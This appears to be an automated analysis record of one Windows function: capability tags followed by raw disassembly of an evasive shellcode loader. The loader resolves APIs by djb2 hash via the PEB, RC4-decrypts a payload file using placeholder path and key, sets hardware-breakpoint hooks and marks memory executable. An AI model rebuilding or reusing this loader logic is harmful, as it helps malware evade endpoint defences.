Function at 0x140002770
Capabilities:
Access peb ldr_data
Encrypt data using rc4 via systemfunction032
Get file size
Hash data using djb2

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x550]
sub rsp, 0x650
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x540], rax
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
mov qword [0x140006718], rax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov r9, qword [rax + 0x10]
mov r8, r9
nop word [rax + rax]
mov rcx, qword [r8 + 0x60]
xor esi, esi
mov eax, 0x1505
movzx edx, word [rcx]
test edx, edx
je 0x14000281d
imul eax, eax, 0x21
lea rcx, [rcx + 2]
add eax, edx
movzx edx, word [rcx]
test edx, edx
jne 0x140002802
cmp eax, 0x22d3b5ed
je 0x140002d7b
mov r8, qword [r8]
cmp qword [r8], r9
jne 0x1400027f0
mov rax, rsi
mov qword [rsp + 0x660], rbx
lea rcx, [0x1400066a0]
mov qword [rsp + 0x670], r14
mov qword [rbp - 0x70], rax
call fcn.1400014e0
mov rcx, qword [rbp - 0x70]
mov edx, 0x6793c34c
call section..text
lea rcx, [rbp - 0x68]
mov qword [rbp - 0x68], rax
call fcn.140002ef0
test eax, eax
je 0x140002d84
mov rcx, qword [rbp - 0x70]
mov edx, 0x82962c8
call section..text
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x50], rax
call fcn.140002ef0
test eax, eax
je 0x140002d84
mov rcx, qword [rbp - 0x70]
mov edx, 0x308be0d0
call section..text
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x38], rax
call fcn.140002ef0
test eax, eax
je 0x140002d84
mov rcx, qword [rbp - 0x70]
mov edx, 0x9e0e1a44
call section..text
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x20], rax
call fcn.140002ef0
test eax, eax
je 0x140002d84
mov rcx, qword [rbp - 0x70]
mov edx, 0x471aa7e9
call section..text
lea rcx, [rbp - 8]
mov qword [rbp - 8], rax
call fcn.140002ef0
test eax, eax
je 0x140002d84
mov rcx, qword [rbp - 0x70]
mov edx, 0x1703ab2f
call section..text
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
call fcn.140002ef0
test eax, eax
je 0x140002d84
movsd xmm0, qword [str.YOUR_PATH]
lea rdx, [rbp + 0x530]
movzx eax, word [0x1400042a0]
xor r9d, r9d
mov rcx, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r8d, 0x80000000
mov dword [rsp + 0x78], esi
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 0x80
mov qword [rsp + 0x28], 3
mov qword [rsp + 0x20], rsi
movsd qword [rbp + 0x530], xmm0
mov word [rbp + 0x538], ax
call fcn.140002dc0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002d84
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rdx, qword [rbp - 0x60]
mov ecx, dword [rbp - 0x58]
mov dword [0x140006708], eax
call fcn.140003030
mov dword [rsp + 0x70], esi
lea r14, [0x140006708]
mov dword [rsp + 0x68], esi
lea r8, [0x140006700]
mov dword [rsp + 0x60], esi
lea rcx, [0x14000303e]
mov dword [rsp + 0x58], esi
xor r9d, r9d
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0x1000
mov qword [rsp + 0x20], r14
call fcn.140002dc0
test eax, eax
jne 0x140002d84
mov r9d, dword [0x140006708]
mov rdx, rbx
mov r8, qword [0x140006700]
mov rcx, qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
test rax, rax
je 0x140002d84
mov rcx, qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x48], esi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov rdx, rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
test rax, rax
je 0x140002d84
mov rax, qword [0x140006700]
lea rdx, [rbp + 0x30]
movsd xmm0, qword [str.YOUR_KEY]
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x78], rax
mov eax, dword [0x140006708]
mov dword [rbp - 0x7c], eax
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1400042b0]
mov byte [rbp + 0x528], al
lea rax, [rbp + 0x520]
mov qword [rbp + 0x38], rax
mov qword [rsp + 0x668], rdi
movsd qword [rbp + 0x520], xmm0
mov dword [rbp + 0x34], 9
mov dword [rbp + 0x30], 9
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
mov rcx, qword [0x1400066d8]
xor r9d, r9d
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
mov r8, qword [0x1400066f8]
lea r9, [rbp - 0x70]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400010b0
test eax, eax
jne 0x140002b63
lea rcx, str.____Cant_set_hook___n
call fcn.140002330
mov r8, qword [0x1400066e8]
lea r9, [rbp - 0x70]
mov edx, 1
mov rcx, rbx
call fcn.1400010b0
test eax, eax
jne 0x140002b8b
lea rcx, str.____Cant_set_hook___n
call fcn.140002330
mov rdi, qword [0x1400066f0]
lea rcx, [rbp + 0x50]
xor edx, edx
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x10]
mov dword [rbp + 0x80], 0x100010
call fcn.140003030
mov dword [rsp + 0x50], esi
lea r8, [rbp + 0x50]
mov dword [rsp + 0x48], esi
lea rcx, [0x14000303e]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rsi
mov rdx, rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
test eax, eax
jne 0x140002c64
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rbp - 0x30]
and rax, 0xfffffffffcffffff
mov ecx, dword [rbp - 0x28]
or rax, 0x10
or dword [rbp + 0x80], 0x100010
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xa8], rdi
call fcn.140003030
mov dword [rsp + 0x50], esi
lea r8, [rbp + 0x50]
mov dword [rsp + 0x48], esi
lea rcx, [0x14000303e]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rsi
mov rdx, rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
test eax, eax
je 0x140002c70
lea rcx, str.____Cant_set_hook___n
call fcn.140002330
mov rcx, qword [0x1400066c8]
xor r9d, r9d
mov dword [rsp + 0x48], esi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov rdx, rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
mov rcx, qword [0x1400066d0]
lea r8, [0x140002390]
mov dword [rsp + 0x50], esi
xor r9d, r9d
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
lea edx, [r9 + 1]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
mov rdx, qword [rbp - 0x48]
mov ecx, dword [rbp - 0x40]
mov dword [rbp + 0x40], esi
call fcn.140003030
mov dword [rsp + 0x68], esi
lea rax, [rbp + 0x40]
mov dword [rsp + 0x60], esi
lea r8, [0x140006700]
mov dword [rsp + 0x58], esi
lea rcx, [0x14000303e]
mov dword [rsp + 0x50], esi
mov r9, r14
mov dword [rsp + 0x48], esi
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x20
call fcn.140002dc0
mov rdi, qword [rsp + 0x668]
test eax, eax
jne 0x140002d77
mov rcx, qword [0x140006700]
xor r9d, r9d
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002dc0
xor eax, eax
jmp 0x140002d89
mov rax, qword [r8 + 0x30]
jmp 0x140002828
mov eax, 1
mov r14, qword [rsp + 0x670]
mov rbx, qword [rsp + 0x660]
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.140003070
mov rsi, qword [rsp + 0x678]
add rsp, 0x650
pop rbp
ret